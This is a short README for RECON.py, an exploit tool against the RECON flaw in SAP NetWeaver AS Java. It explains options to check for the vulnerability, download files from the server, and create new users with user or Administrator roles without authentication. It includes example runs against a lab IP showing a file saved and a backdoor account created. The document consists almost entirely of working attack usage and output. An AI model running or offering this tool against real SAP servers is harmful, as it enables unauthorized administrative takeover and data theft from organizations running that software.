# How to use


Just point SAP NW AS Java hostnmae/ip.

There is additional options:

1. `-c` - check if SAP server is vulnerable to RECON
2. `-f` - download `zip` file from SAP server
3. `-u` - create user SAP JAVA user with  `Authenticated User` role 
4. `-a` - create user SAP JAVA user with  `Administrator` role


Ex.: Download zip file

```
~python RECON.py -H 172.16.30.8 -f /1111.zip
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Ok! File zipfile_929.zip was saved
```


Ex.: Create SAP JAVA user

```
~python RECON.py -H 172.16.30.8 -u
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5484:Secure!PwD9379
Ok! User were created
